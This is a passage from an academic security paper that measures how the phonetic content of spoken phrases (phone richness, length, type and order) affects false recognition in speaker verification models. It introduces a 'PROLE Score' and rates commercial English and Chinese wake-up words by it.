words using a third-party ASV system. The measured false

recognition rates for each wake-up word match the calcu-

lated PROLE Score well. Thus, we believe PROLE Score can

help both manufactures and users to refine their choices of

words to be used for extracting voiceprint. In summary, the

contributions of the paper are as follows:
• We analyzed the correlation between speech contents

and false recognition rates using three representative

ASV models, with two datasets of 2457 speakers and

14,600,000 test samples.

• We defined the PROLE Score that can quantify the dis-

tinctiveness of voiceprints for any given speech content.

• We recommended words that can produce good

voiceprint distinctiveness to both manufacturers and

users, e.g., good wake-up word candidates.

2 Background and Threat Model

2.1 ASV and Voiceprint
Automatic speaker verification (ASV) systems utilize the

voiceprint for user authentication. The workflow of an ASV

system is shown in Fig.1. A typical ASV system involves

three stages: training, enrollment, and testing. In the training

stage, a large number of speech audios with speaker labels

are fed into the verification model for parameter optimiza-

tion. In the enrollment stage, a speaker, e.g., Alice, speaks

a phrase several times to register her voiceprint in the ver-

ification model. Finally, in the test stage, the ASV system

should deny all other unregistered users while accepting Al-

ice by authenticating Alice with her new audio inputs. As

a result, the verification accuracy of a given ASV system is

affected by three factors: the speaker, the speech content, and

the verification model.

Commonly-used verification models include two types:

(1) text-dependent models, and (2) text-independent models.

Most existing commercial voice assistant products, e.g, Ap-

ple Siri, Amazon Alexa, or Google Assistant, employ the

text-dependent model [23] for its superior performance, and

authenticate users as they speak pre-defined wake-up words,

e.g., “Hey, Siri” or“OK, Google”. However, text-dependent

models require the enrollment and testing sentences to be

the same while text-independent models have no such re-

striction on the speech contents. Therefore, it is a trend to

use text-independent models for speaker recognition [24].

Typical text-independent models include: (1) classic mod-

els such as i-vector [25–27], (2) DNN-based ones such as
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x-vectors [9, 21, 28], and (3) advanced end-to-end DNN mod-

els [10, 24, 29] such as U-LEVEL [22]. We study these rep-

resentative models i.e., i-vector, x-vectors, and U-LEVEL, in

this paper.

2.2 Threat Model
In this paper, we consider the following attack scenario:

An adversary aims to illegally access a voice assistant such
as Siri, Amazon Echo, etc., which however is protected by
speaker verification system. To break it, the adversary imitates
the voice of the victim and repeats the wake-up words or other
keywords to spoof the speaker verification system.

In this case, the goal of the ASV system is to identify the

registered speaker while rejecting the illegal ones. Thus, the

ASV system shall (1) select distinct wake-up words or key-

words, (2) design the appropriate embedding that represents

the voiceprint, and (3) improve the accuracy of the classi-

fier. The latter two are usually improved by optimizing the

voiceprint model. In this paper, we study how to enhance the

security of the ASV system by selecting appropriate speech

contents, e.g., wake-up words or keywords.

3 Measurement Methodology
To quantify the distinctiveness of voiceprints in terms of

speech contents, we look into the basic unit of speech content,

i.e., phones. However, existing public datasets for speaker

verification are usually long audio clips without dedicated

phonetic information. To overcome this challenge and ana-

lyze the correlation between voiceprints and phonetic factors,

we design the following measurement methodology with 4

stages, as shown in Fig. 2. First, we dissect a speech into

phones and propose four intrinsic phonetic factors to represent

any speech content (section 3.1). Second, we derive seven test

variables based on the four phonetic factors plus three combi-

nations of two factors (section 3.2). Then, we construct the

dedicated test datasets for each test variable by segmenting

and reassembling audio clips (section 3.3). Finally, we feed

the constructed test datasets into pre-trained models (section

3.4) and measure the impacts of speech contents using two

metrics (section 3.5).

3.1 Speech Content Analysis
According to linguistics[30], the basic unit of a given

speech is a phone and a speech is a sequence of phones. Dif-

ferent from a phoneme which is a speech sound in a given

language, a phone is language-independent and thus more

suitable for speech content analysis. There are 107 phones

across all the languages and English has 48 of them. To quanti-

tatively model speech contents in terms of phones, we propose

four phonetic factors:

• � Richness: the number of phone types.

• � Length: the number of phones.

• � Element: the specific type of phones.

• � Order: the sequential relationship among phones.

By varying the test variables derived from these four pho-

netic factors, we measure the impact of speech contents on

voiceprint distinctiveness.

3.2 Test Variable Design
To validate the influence of speech contents, we design

seven test variables based on the aforementioned four pho-

netic factors as well as the combination of two factors (i.e.,

richness, length and element) as they have mutual influences

upon each other in practice:

• � Richness. This variable explores the impact of the

number of phone types while for each level of richness,

the lengths of audio samples are uniformly distributed.

• � Length. This variable studies the impact of the num-

ber of phones, and for each length, the phone types are

uniformly distributed.

• � Element. This variable explores the impact of each

phone when the length is fixed. We cycle through each

phone, and construct audios sample by repeating it.

• � Order. This variable explores the impact of the se-

quence of phones, while the length and the element are

fixed.

• � Synergies of Richness and Length (� + �). This

setup explores the impact of richness and length, as both

vary simultaneously.

• � Synergies of Length and Element (� + �). Simi-

lar to �, these two factors vary simultaneously, and we

construct audio samples by repeating a phone up to the

required length.

• � Synergies of Richness and Element (� + �). This

combination is meant to investigate the impact of repe-

tition and combination. For instance, will A+A or will

A+B improve the distinctness, given that A and B contain

different levels of distinctiveness.

With the 7 test variables, we then construct corresponding

test datasets for measurement.

3.3 Test Dataset Construction
To construct test datasets for each variable, we first select

appropriate speech datasets to reduce the biases caused by

speakers, then prepare the audios by pre-processing, and fi-

nally segment and reassemble the processed audios to get the

final test datasets.

Dataset Selection. As mentioned, the speaker is a subjec-

tive factor that may affect the voiceprint security. To reduce

its impact, we choose two popular English speech datasets,

i.e., VCTK [31] and LibriSpeech [32], which contain audios

from 2,457 speakers (45 from VCTK and 2,412 from Lib-

riSpeech) with various genders, speech rates, channel noises,

etc. The average speech duration of each speaker is more
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Figure 2: Measurement methodology overview. First, we regarded the phone as the atomic unit of speech content and propose

four phonetic factors, i.e., richness, length, element and order. Then, we used seven test variables from the four factors considering

the synergies of multiple factors. Under each variable, we constructed its dataset from two popular open speech datasets. Finally,

each test variable was validated by calculating the corresponding false recognition rate, i.e., the sum of false acceptance rate and

false rejection rate under a specific ASV model.

than 30 minutes in VCTK and more than 20 minutes in Lib-

riSpeech respectively, providing sufficient test samples. We

hope these two speech datasets can reduce the biases caused

by unbalanced speakers or insufficient test samples.

Audio Pre-processing. With the selected datasets, we pre-

process the speech audios. First, we extract the texts corre-

sponding to the speech contents from the datasets. According

to the International Phonetic Alphabet (IPA), there are 48

types of phones in English, including 16 vowels, 1 rhotic-

ity vowel, 5 diphthongs, 1 triple vowel, 22 consonants, 1 co-

articulated consonant, and 2 affricates. Among these phones,

diphthongs and triple vowel are composed of several vow-

els, and affricate is composed of several consonants. Then, in

line with the IPA, we employ the Phonemizer tool [33] and

the G2P tool [34] to convert the texts into phone sequences,

and employ the Montreal-Forced-Aligner (MFA) tool [35]

to calculate the timestamp and the duration of each phone

in the speech audios. By statistical analysis, the accuracy of

the MFA aligner is 92.4%, and we will discuss the impact of

MFA errors on the phonetic factors in Sec. 7.

Audio Segmentation and Reassembling. Based on the re-

sults of MFA, we segment the original audios in the open

datasets into audios in the unit of phone. Then, We randomly

select phone audios to avoid bias and reassemble them to

form test datasets designed for the seven variables.

Datasets for � � �: For these three datasets, we vary

the value of length, richness, or the (length,richness) pair

respectively while keeping the other phonetic factors evenly-

distributed to construct the test datasets. Since the diphthong

and the affricate consist of 2 single phones and the triple

vowel consists of 3 single phones, we count their richness as

2, 2, and 3, respectively. Thus, in these three datasets, we have

a total of 40 types of phones.

Datasets for � �: For these two datasets, we repeat each

phone to reach a specific length to construct various test sam-

ples. The difference lies in that the length used in the Dataset

for � is a fixed large one, while in the Dataset for �, it is a

variable one in the range of [1, 20]. Since the triple vowel

[aIU] is infrequent in speakers’ speech contents, and the vow-

els [a] and [e] do not appear alone in English, we do not

consider these phones in these two datasets.

Datasets for � �: For these two datasets, we first construct

a group of high-distinctiveness phones (denoted as A) and a

group of low-distinctiveness phones (denoted as B) based on

the experimental results of � and �. Then, to construct the

Dataset for �, we randomly select an A and a B, repeat both

of them for several times, and change their orders to construct

various test samples. For the Dataset of �, we construct three

types of test samples, i.e., AAAA, BBBB and ABAB. The

used phones A and B are also randomly selected from the

aforementioned groups.

3.4 Model Selection
The constructed test datasets are then fed into voiceprint

verification models to evaluate their impacts. Similar to the

speaker, the model is another factor that affects the voiceprint

distinctiveness, yet is provided by manufacturers and thus

can not be controlled by users. Without loss of generality,

we study three representative voiceprint models in the paper:

(1) i-vector [20, 25], (2) x-vectors [9, 21, 36], and (3) an ad-

vanced end-to-end DNN model, i.e., U-LEVEL [22]. The first

two models are most commonly used in speaker verification

at present, while the third one represents the state-of-the-art

performance. All three models have different feature extrac-

tion methods and network structures. We model these impact

factors with a global variable ‘model type’. Models are trained

beforehand (in Sec. 4.1) and demonstrated usabilities. The

goal of using multiple models is two-fold: (1) reducing the

biases of measurement results, and (2) exploring the consis-

tency and diversity of measurement results across models. Of

course, more models can be supported and currently we take

the three models as examples to derive the distinctiveness of

voiceprints from phones.

3.5 Evaluation Metrics
We define the evaluation metric as false recognition rate,

which is the sum of (1) False Acceptance Rate of distinguisha-

bility (FAR), and (2) False Rejection Rate of consistency

(FRR). The former refers to the probability that any illegit-

imate person’s voiceprint in the test dataset is incorrectly

verified as a legitimate one. The latter refers to the probability

that any other speaker is classified to be a given registered
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Table 1: Experiment Setup

Model

Model Training Set Test Set Performance (EER)

i-vector

x-vector

U-LEVEL

85 speakers in VCTK; over 3,400 utterances

over 7,300 speakers in VoxCeleb; over 1.2 million utterances

over 5,900 speakers in VoxCeleb; over 1 million utterances

40 speakers

in VoxCeleb

5.446%

3.13%

3.22%

Test/
Enrolling
Dataset

Speakers Data Source Enrolling Utterances Test Utterances

45

2,412

VCTK

LibriSpeech
5 per speaker 5946 per speaker

speaker. In practice, the FAR and FRR are supposed to be

relatively balanced. Unbalanced FAR and FRR may lead to

the bias of model performance. To avoid it, we adjust the

threshold of the verification model during the measurement

to keep the two metrics balanced. We hope it can help derive

more unbiased measurement results.

4 Experiments

4.1 Experiment Setups
Models. As mentioned in Sec. 3.4, we used three text-

independent models in this paper: (1) i-vector [25], (2) x-

vectors [21], and (3) U-LEVEL [22]. To get rid of the influ-

ence from ASV models, we trained and tested these models

with the training and test datasets described in Tab. 1 and

the performances of these models are trained to approach

the state-of-the-art, with detailed Equal Error Rates (EERs)

shown in Tab. 1. During the following experiments, we con-

duct measurements for the aforementioned test variables on

each model respectively.

Enrolling Dataset. The enrolling dataset is extracted from

the VCTK and LibriSpeech datasets as well but has no overlap

with the test datasets. It consists of 12,285 randomly selected

utterances in total, i.e., 5 utterances for each speaker. Each

enrolling utterance lasts for more than 2 s, to provide sufficient

information for voiceprint extraction [37].

4.2 Experiment Results
4.2.1 Influence of Richness �

In this experiment, we investigate how the richness (R)

of the speech content affects voiceprint distinctiveness by

varying the number of phone types in the test audios.

Setup. Given 40 types of single phones in English, we varied

R in the range of [1,40]. For any R, the length (L) (i.e., the

number of phones) in the test samples is uniformly distributed

over the range of [R,40], and we randomly selected (41−
R0)×6 phone sequences as the test samples, i.e., 6 sequences

for each value of L. Thus, the test dataset of each speaker

consists of 4,920 audio samples. For each speaker, FAR and

FRR are calculated at each value of the variable. The final

results are the aggregation of all the speakers and presented

in a form of box plots as shown in Fig. 3. As the trend of

the results is similar across 3 models, we show the results of

U-LEVEL model in Sec. 4.2, and the results of i-vector and

x-vector can be found in Appendix. A. We show the results in

the same way for Sec. 4.2.2 and Sec. 4.2.4-4.2.7.

Result. From the results, we can see that as the number of

phone types increases, the FRR is significantly reduced while

the FAR increases slightly. This observation is consistent

across models but differs slightly. Specifically, we find: (1)

Richness can enhance the distinctiveness of voiceprint loga-

rithmically but the improvement saturates after a threshold,

i.e., Rth. (2) The saturation thresholds differ across models,

i.e., Rth is 15 for i-vector, 12 for x-vector, and 7 for U-LEVEL,

respectively.

Insights 1: The richness variable has an impact on the

voiceprint distinctiveness and the enhancement by the rich-

ness improvement is approximately logarithmic.

Analysis. We assume it is because the model may fail to ob-

tain enough voiceprint information and reject all verification

requests when the phone richness is low. As a result, the FRR

approaches 1 while the FAR approaches 0 on the left side of

the sub-graphs in Fig. 3. As the number of phones increases,

the test samples carry more voiceprint information, and thus

the FAR and FRR converge to equilibrium. The logarithmic

changes in false recognition rates may be caused by the over-

lap in the voiceprint information provided by different types

of phones. With high richness, adding another phone may

provide limited additional information. However, the impact

of phone richness will be saturated when the value of richness

exceeds a threshold.

4.2.2 Influence of Length �

In this experiment, we investigate how the length (L) of the

speech content affects voiceprint distinctiveness by varying

the number of phones in the test audios.

Setup. The test dataset for length is similar to that for rich-

ness, except that the requirements of L and R are interchanged,

i.e., for each L, R is uniformly distributed in the range of [1,L],
and the number of test samples is L×6. The results can be

found in Fig. 4.

Result. The trends of the FRR and FAR under the length

variation show similarity as that under the richness variation.

We also find: (1) The increase of phone length improves the

distinctiveness of voiceprints logarithmically with a threshold

Lth, beyond which the distinctiveness stops raising. (2) The
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(a) FRR of Consistency (U-LEVEL) (b) FAR of Distinguishability (U-LEVEL)

Figure 3: False recognition rate vs. Richness �. (a) shows the FRR of consistency in U-LEVEL. (b) shows the FAR of

distinguishability. FRR decreases logarithmically with an increasing R and FAR has a slight increase. (The lower and upper

bound of the box are the values of the first quartile and the last quartile, the black line is the maximum and minimum, the green

triangle is the mean, the red line is the median, and the blue circles mean outliers.)

(a) FRR of Consistency (U-LEVEL) (b) FAR of Distinguishability (U-LEVEL)

Figure 4: False recognition rate vs. Length �. (a) shows the FRR of consistency in U-LEVEL. (b) show the FAR of distinguisha-

bility. FRR decreases logarithmically with the increase of L and FAR has only a slight increase.

thresholds differ across various models, i.e., the Lth is 31 for

i-vector, 26 for x-vector, and 24 for U-LEVEL.

Insights 2: The length variable has an impact on the

voiceprint distinctiveness and the enhancement by length

improvement is approximately logarithmic.

Analysis. The reasons for Insights 2 are similar to those for

Insights 1. However, the results of this experiment have higher

stability values and slower convergence speed compared to

the experiment of richness. These two impacts are further

synergistically analyzed in Sec 4.2.5.

4.2.3 Influence of Element �

In this experiment, we investigate how the element (E)

of the speech content affects voiceprint distinctiveness by

changing the types of phones in the test audios.

Setup. The test dataset consists of 45 audio samples of the

same length for each speaker, which are constructed by repeat-

ing 45 types of phones separately. Each audio sample includes

90 phones. To avoid unbalanced FAR and FRR and obtain

unbiased results, we adjust the thresholds of the verification

models during the experiment. Results are presented in the

form of cumulative histograms in Fig. 5, where CFRR refers

to the cumulative false recognition rate.

Result. From the results, we find that the distinctiveness of

phones differs greatly and the difference is highly related to

the model. We observe that: (1) For i-vector, consonants are

slightly more distinct than vowels. For U-LEVEL, most vow-

els are more distinct than consonants. The trend of distinctive-

ness ranking for x-vector is similar to that of U-LEVEL. (2)

For i-vector, plosive and non-sibilant fricative consonants are

more distinct, and the difference between voiced and unvoiced

consonants is not significant. For x-vector and U-LEVEL, sibi-

lant fricative and tongue coronal consonants lack distinctive-

ness. For U-LEVEL, unrounded and central vowels perform

better in distinctiveness while for x-vector, there is no obvious

distinctiveness difference between vowels.

Insights 3: The element variable influences voiceprint dis-

tinctiveness differently across models. There are, however,

magic phones showing consistently good and poor distinc-

tiveness, e.g., [@] and [o] respectively.

Analysis. The results of x-vector are similar to that of U-

LEVEL, which we assume is because they are both neural-

network-based models. U-LEVEL shows a better perfor-

mance for phone-repetition-based utterances and a large dif-

ference between phones. We assume it is because of the im-

proved performance for short speeches, where a large number

of repetitions of most phones can provide sufficient voiceprint

information.

4.2.4 Influence of Order �

In this experiment, we investigate whether the order of

phones affects voiceprint distinctiveness by changing the se-

quential order of phones in the speech content.

Setups. We regard the top 10 types of distinct phones ob-

served by Sec. 4.2.3 as Class A (e.g., [i], [@]), and the least 10

as Class B (e.g., [o], [S]). We repeat and reassemble A and B
into 4 groups of sequences ABAB, BABA, AABB, and BBAA
respectively, each consisting of 10 utterances. The results are

as shown in Fig. 6.

Result. We can observe that four groups of utterances with

order changes are identical in FAR, FRR, and CFRR, which

indicates that order has little effect on the voiceprint distinc-

tiveness.

Insights 4: The order of phones in a speech has little impact

on the voiceprint distinctiveness.

1136    31st USENIX Security Symposium USENIX Association



(a) False Recognition Rate (i-vector)

(b) False Recognition Rate (v-vector)

(c) False Recognition Rate (U-LEVEL)

Figure 5: False recognition rate vs. Element� in i-vector, x-vector and U-LEVEL. Individual phones behave differently across

models while there are some magic phones such as [@] that has low false recognition rate than others for all three models.

Figure 6: False recognition rate vs. Order � in U-LEVEL.

The effects of element and richness are about identical.

Analysis. The low impact of phone order on the voiceprint

distinctiveness may be because ASV systems usually extract

features by operations such as sampling, framing and Fourier

transform. The change in the order of phone-length audio

clips has barely effect on either the frame-length audio or the

frequency features.

4.2.5 Influence of Synergies of Richness and Length �

In this experiment, we vary the number of phone types and

the number of phones simultaneously. These two factors are

relevant, and we study both their stand-alone distinctiveness

improvement abilities and their synergistic effects.

Setups. We vary L and R of test audios in the range of [1,40],
with L greater than or equal to R. For any (L,R) pair, 6 se-

quences are randomly selected, and the test dataset for each

speaker consists of 4,920 audios. We obtain FAR and FRR at

each value of the variable pair, and show the averaged results

across speakers in Fig. 7.

Result. It can be observed that the false recognition rate

varies more in the direction of R. Specifically, it can not be

kept at a low level when R is less than or equal to 5 even when

L has reached 40. Based on the experimental results in Fig. 4

and Fig. 5, we find that richness shows a better performance

in improving the voiceprint distinctiveness compared with

(a) FRR of Consistency (U-LEVEL) (b) FAR of Distinguishability (U-

LEVEL)

Figure 7: False recognition rate vs. Synergies of Richness and

Length �. (a) shows the FRR of consistency and (b) shows

the FAR of distinguishability respectively in U-LEVEL. The

distinctiveness thresholds i.e., (13,5) with FRR = 0.04 for

synergistic changes in richness and length, as well as the

corresponding FAR and FRR, are marked in the figure.

length. In addition, both richness and length have distinctive-

ness thresholds, beyond which the voiceprint distinctiveness

does not improve. The length threshold T hL, richness thresh-

old T hR, and the corresponding FAR and FRR are marked in

Fig. 7.

In general, we have the following observations: (1) Rich-

ness has a greater impact on distinctiveness compared with

length, and repetition only has a limited improvement. (2)

When the number of phone types increases, the length thresh-

old decreases. (3) When the number of phones increases, the

richness threshold first falls and then rises.

Insights 5: Richness has a larger impact on voiceprint dis-

tinctiveness than length.
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(a) FRR of Consistency (U-LEVEL) (b) FAR of Distinguishability (U-LEVEL)

Figure 8: False recognition rate vs. Synergies of Length and Element �. (a) shows the FRR of consistency in U-LEVEL, and

(b) shows the FAR of distinguishability. Distinctiveness growth rate differ for diverse types of phone and is not consistent with

stable value ranking.

Figure 9: False recognition rate vs. Synergies of Richness and

Element � in U-LEVEL. The effect of phone ordering is low.

Analysis. The reason is that the voiceprint information con-

tained in two repeated phones overlaps compared with two

different phones, resulting in a less amount of information

gain. The results of this experiment can be used to assess the

security scores of both richness and length in Sec. 5.1.

4.2.6 Influence of Synergies of Length and Element �

In this experiment, we change both the length and element

of the speech content to investigate whether distinct phones

under saturated length perform equally after being repeated a

few times.

Setup. We repeat 45 phones respectively with L varying

in the range of [1,20], and the test dataset for each speaker

consists of 900 audios. When L of diphthong and affricate

is singular, the audio used is identical to that of the adjacent

double. The confusion matrices of FRR and FAR across all

the speakers for three models are shown in Fig. 8.

Result. From the results, we can see that the effect of rep-

etition on the distinctiveness of various phones is different.

Compared with the results of Sec. 4.2.3, we find that the dis-

tinctiveness ranking of phones under the sufficient length

differs from the ranking when the length changes. Specifi-

cally, we find: (1) Element has a greater impact on voiceprint

distinctiveness compared with length, and it is difficult to en-

hance the distinctiveness of an indistinct phone by increasing

the length alone. (2) Various phones show different distinc-

tiveness sensitivities to the length.

Insights 6: Element shows a larger impact on the voiceprint

distinctiveness compared with length.

Analysis. The distinctiveness improvements caused by

phone repetitions can be abstracted as a joint effect of the

initial value and the growth rate, neither of which is related

to the stable value. The results of this experiment can be

used to assess the distinctiveness scores of phone elements in

Sec. 5.1.

4.2.7 Influence of Synergies of Richness and Element �

In this experiment, we construct audios of the same length

but with different phones to compare the distinctiveness im-

provement abilities of richness and element.

Setup. Similar to Sec. 4.2.4, we repeat and reassemble A
and B to generate 3 groups of sequences: AAAA, BBBB, and

ABAB, each consisting of 10 utterances. The thresholds of

the verification models are adjusted during the experiment.

The averaged results are shown in Fig. 9.

Result. It can be seen that for U-LEVEL, sequence AAAA
is slightly more distinct than ABAB, and more distinct than

BBBB. However, for i-vector and x-vector, ABAB is more

distinct than AAAA. We find (1) When the difference be-

tween phones is large, richness is slightly more influential

than element for i-vector and x-vector, but it’s opposite for

U-LEVEL. (2) Element and richness are both significant in

general, but the speech content constructed purposefully by

selecting phones is more distinct than that generated by ran-

domly increasing the number of phone types.

Insights 7: Both element and richness show comparable

impact on the voiceprint distinctiveness.

Analysis. The reason is that the voiceprint information de-

rived from repeating high distinct phones is comparable to

that of adding low distinct phones.

4.3 Comparison with Real Words
To investigate whether disordered phone combinations and

real English words share the same insights and observations,

we conduct an additional experiment with real English words

whose length is in the range of [7,12] and richness is in the

range of [5,10] within which most commercial wake-up words

fall. The experiment settings including model training are

identical to those in 4.2.5.

The result of i-vector is shown in Fig. 10 while results for

the other two models can be found in Appendix. A. Compar-

ing the CFRRs of real words and random phones, the mean of

the difference is 0.0009 and the standard deviation is 0.063.

From the result, we can see that the absolute value and vari-

ation trend of FAR/FRR in the two test cases are similar for

the same model. In several squares in Fig. 10, the FRR of

real words is substantially high than that of random phones
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(a) FRR of Consistency (i-vector,

random phones)

(b) FRR of Consistency (i-vector,

actual words)

(c) FAR of Distinguishability (i-

vector, random phones)

(d) FAR of Distinguishability (i-

vector, actual words)

Figure 10: False recognition rate vs. Synergies of Richness and Length �. (a), (b) show the FRR of consistency from test cases

composed of random phone sequences and real words in i-vector. (c), (d) show the FAR of distinguishability for both. Real

English words and generated phone sequences show little difference in terms of FRR under the i-vector model.

because real words are limited in the changes of variables,

which brings biases to the element of test utterances. There-

fore, we believe that the impact of speech contents is similar

in both cases while random phone sequences can provide

more unbiased test utterances.

5 PROLE Score Design and Validation

In this section, we first provide the design of PROLE Score
based on the insights from Sec. 4. Then, we test 30 wake-

up words from commercial products to provide an informa-

tive conclusion about the security level as well as alterna-

tive secure phrases. Finally, to validate the effectiveness of

PROLE Score, we conduct a user study involving 46 users to

compare the voiceprint distinctiveness from the user study

with that given by PROLE Score.

5.1 PROLE Score Design
In this subsection, we formally provide the definition and

the calculation method of the PROLE Score followed by an il-

lustration. We also introduce the meaning of a PROLE Score.

Definition. As phone richness, length, and element have

influence upon the voiceprint distinctiveness, we design

PROLE Score as a function with richness R, length L, and

element E as well as model M as parameters. Specifically, the

formula of PROLE Score is:

S = f M(L,R,E)

= 10∗ (1−FM
L+R −ΔFM

E )

= 10(1−FM
L+R(L,R)−

∑E
α FM

E_α(L)×L(α)
L

+FM
E_eq(L))

(1)

where FM
L+R is the score component from length and rich-

ness, ΔFM
E is the deviation value of the score component from

element, α is a phone from the input words, FM
E_α is the score

component of α, L(α) is the length of α, and FM
E_eq is the score

component of equally distributed elements.

Parameter calculation. We illustrate the parameter calcula-

tion process with ‘Hey’ as an example:

• Step 1: Calculate the richness R, length L, and element

E of the input words. For example, ‘Hey’ with [heI] has

richness 3 and length 3.

• Step 2: Obtain the bi-variate function FM
L+R by curving

the relationship between the false recognition rates and

the synergies of richness and length (�) based on the

results in Sec. 4.2.5. Then obtain FM
L+R(L,R) with the

function FM
L+R, richness R, and length L. For example,

the estimated false recognition rate derived from length

and richness metric is FL+R(3,3) for ‘Hey’.

• Step 3: Obtain the phone function FM
E_α by curving the

relationship between the false recognition rates and the

length of α based on the results in each column in Fig. 8.

After that, obtain the equally-distributed element func-

tion FM
E_eq by averaging the phone function FM

E_α for each

phone α. For ‘Hey’, FE_eq of [heI] is FE_eq(3), and an-

other part is (FE_[h](3)×1+FE_[eI](3)×2)/3 ‡.

Meaning of a score. The meaning of a PROLE Score is to

reflect the security level of a word/phrase under a specific

ASV model, in terms of voiceprint distinctiveness. For a spe-

cific word, its PROLE Score is linearly inversely proportional

to the estimated false recognition rate of the word. For ex-

ample, ignoring bias from other factors, a phrase with the

PROLE Score of 9 is expected to has a false recognition rate

of 0.1 in a given ASV model. For example, from the distinc-

tiveness threshold in Fig. 7 we regard 0.08 as a good false

recognition rate in U-LEVEL, so we can define 9.2 as a good

score of U-LEVEL.

5.2 Assessment of Wake-up Words from Com-
mercial Products using PROLE Score

To test the behavior of PROLE Score, we collect the wake-

up words in both Chinese and English of commercial ASV sys-

tems and calculate their PROLE Score. The wake-up words

and ASV models with their scores are shown in Tab. 2 and

listed alphabetically according to their brands. For each wake-

up word, we calculate its PROLE Score under all three mod-

‡[eI] is a diphthong with the length of 2, where [e] cannot exist alone in

English, so it is calculated as a whole.
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Table 2: Commercial Wake-up Words distinctiveness Scoring
English Wake-up Words Scores Chinese Wake-up Words Scores

Developer Wake-up Words i-v1 x-v2 U-L3 Developer Wake-up Words i-v x-v U-L

Amazon Alexa 3.28 2.89 8.16 Alibaba TianMaoJingLing 6.80 7.32 9.60

Amazon Amazon 3.29 2.89 8.39 Baidu XiaoDuXiaoDu 5.30 5.52 9.60

Amazon Computer 4.61 4.38 8.68 Huawei NiHaoXiaoE 4.90 5.35 9.93

Amazon Echo 1.50 1.26 6.06 Huawei NiHaoYoYo 4.72 4.63 9.27

Apple Hey Siri 4.20 4.43 9.32 Huawei XiaoEXiaoE 4.76 4.81 9.92

Google Hey Google 4.33 4.56 8.88 JD DingDongDingDong 4.61 4.38 8.55

Google Ok Google 5.55 6.04 9.00 JD Hey XiaoJingYu 6.86 7.49 9.82

Huawei Hey Celia 4.44 4.21 9.24 Lenovo NiHaoLianXiang 6.42 7.17 9.82

Microsoft Hey Cortana 5.60 6.00 9.42 MeiZu NiHaoMeiZu 6.06 6.25 9.52

Multiverse Extreme 4.02 3.72 8.76 Microsoft NiHaoXiaoNa 6.26 6.81 9.83

MyCroft Hey Mycroft 5.57 6.01 9.02 Mobvoi NiHaoWenWen 5.01 5.44 9.58

Nuance Hello Dragon 6.01 6.76 9.46 OPPO XiaoBuXiaoBu 5.17 5.39 9.43

OPPO Hey Breeno 5.19 5.46 9.20 OPPO XiaoOuXiaoOu 4.62 4.57 9.75

Samsung Hey Bixby 4.85 4.79 9.05 Tencent XiaoWeiXiaoWei 5.84 6.66 9.90

SoundHound OK Hound 5.41 5.80 9.31 XiaoMi XiaoAiTongXue 6.85 7.36 9.87
1 Abbreviation for i-vector model. 2 Abbreviation for x-vector model. 3 Abbreviation for U-LEVEL

model.

Table 3: The Effect of Interjection Words on Distinctiveness

Suffix Words Alexa Bixby Breeno Celia Cortana Google Siri

Average

PROLE Score
and Growth

Ratio

Initial 4.77 4.89 4.74 4.16 5.53 3.55 3.70

+Hey 6.92,21.43%1 6.74,18.51% 6.88,21.36% 6.31,21.60% 7.28,17.51% 6.25,27.03% 6.33,26.30%

+OK 7.32,25.41% 6.78,18.92% 7.09,23.52% 7.09,29.39% 7.60,20.73% 7.07,35.29% 7.13,34.27%

+Hello 7.00,22.30% 7.36,24.65% 6.96,22.21% 6.53,23.76% 7.50,19.69% 6.42,28.73% 6.62,29.13%
1 The last three lines of each suffix word are the PROLE Score after adding interjections and score growth rate.

els, i.e., i-vector, x-vector and U-LEVEL. The left side of

Tab. 2 shows the scores of English wake-up words while the

rights side shows the Chinese ones. Moreover, we provid

a tool website (https://sites.google.com/view/voiceprint-sec)

which can generate PROLE Score for any words.

Models matter in PROLE Score. From Tab. 2, we can

find that both English and Chinese wake-up words show

variances and the scores can be greatly different, e.g., 1.5

(Amazon Echo, i-vector) vs. 6.06 (Amazon Echo, U-LEVEL)

across models and words. Among the three models, U-

LEVEL, as a representative DNN-based ASV model, behaves

the best for all the wake-up words, regardless of languages.

Note that we did not directly compare the scores of English

and Chinese wake-up words since there are four types of

phones that are different between the two languages.

Why current wake-up words work? From Tab. 2 we can

also answer that most of the current wake-up words are effec-

tive to represent voiceprints. Take “Hey Cortana” as an exam-

ple whose phone sequence is [heI kO:ôtA:n@] in IPA. First, the

Richness (number of types) and Length (number of phones)

are all 10, which is close to the distinctiveness thresholds

for i-vector and x-vector and larger than the distinctiveness

thresholds for U-LEVEL, indicating that the influences from

the Richness and Length are nearly saturated. While for the

Element factor, [I], [ô], [n], [@] can be ranked in the top half

for distinctiveness on all three models, and [h], [t], [A] are

ranked in the top third on at least one model, thus phone types

score is also high enough.

In addition to the above findings, we especially highlight

the following three interesting observations for the readers, as

they can reveal what is a good/bad choice of a wake-up word.

Observation 1: Both English and Chinese wake-up words

favor a prefix word such as “OK”, “Hey” or “Nihao”¶ while

Chinese ones prefer repeating.

Analysis. Among the commonly used wake-up words, 10/15

and 7/15 have prefix words in English and Chinese respec-

tively. For the Chinese wake-up words, 6/15 has a repeating

style, such as “DingDongDingDong” or “XiaoDuXiaoDu”.

This is mainly because of the cultural difference between the

two nations.

Observation 2: Interjections like ‘OK’, ‘Hey’, ‘Hello’ pre-

fixed to the content can significantly improve the voiceprint

distinctiveness while repeating does not necessarily.

Analysis. To investigate the effectiveness of a prefix word

such as the interjection words, we list the prefix as well as the

suffix words (e.g., “Google” or “XiaoNa”) in Tab. 3. We com-

prehensively compare the derived scores with and without the

prefix words for 7 ASV systems and three interjection words,

i.e., “Hey”, “OK” and “Hello”. It is interesting to find that

interjections can increase the PROLE Score by around 24%.

The reason is that an interjection word increases the phone

length and phone richness of the wake-up word. Although

¶Nihao means hello in Chinese.
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Table 4: Recommended Words and Scores

High
Scoring
Words

In i-v1 Scores In x-v1 Scores In U-L1 Scores
i-v x-v U-L i-v x-v U-L i-v x-v U-L

unfortunately 6.53 7.33 9.28 unfortunately 6.53 7.33 9.28 surprisingly 5.89 6.62 9.53

surprisingly 5.89 6.62 9.53 surprisingly 5.89 6.62 9.53 realize 4.00 3.70 9.43

frustration 5.84 6.53 9.19 frustration 5.84 6.53 9.19 cafeteria 4.57 4.29 9.43

uncomfortable 5.80 6.41 8.80 particularly 5.77 6.46 9.15 immediately 4.95 4.89 9.41

conversation 5.77 6.41 9.12 conversation 5.77 6.41 9.12 cafeteria 5.34 5.38 9.38

Self-
created

and
Similar
Words

In i-v1 Scores In x-v1 Scores In U-L1 Scores
i-v x-v U-L i-v x-v U-L i-v x-v U-L

[tiv@dEgD@z]

towards ers
5.86 6.43 9.16

[gEzith@gwA]

jes dog wa
5.81 6.47 9.20

[wij@Uzi@Ud]

we ears out
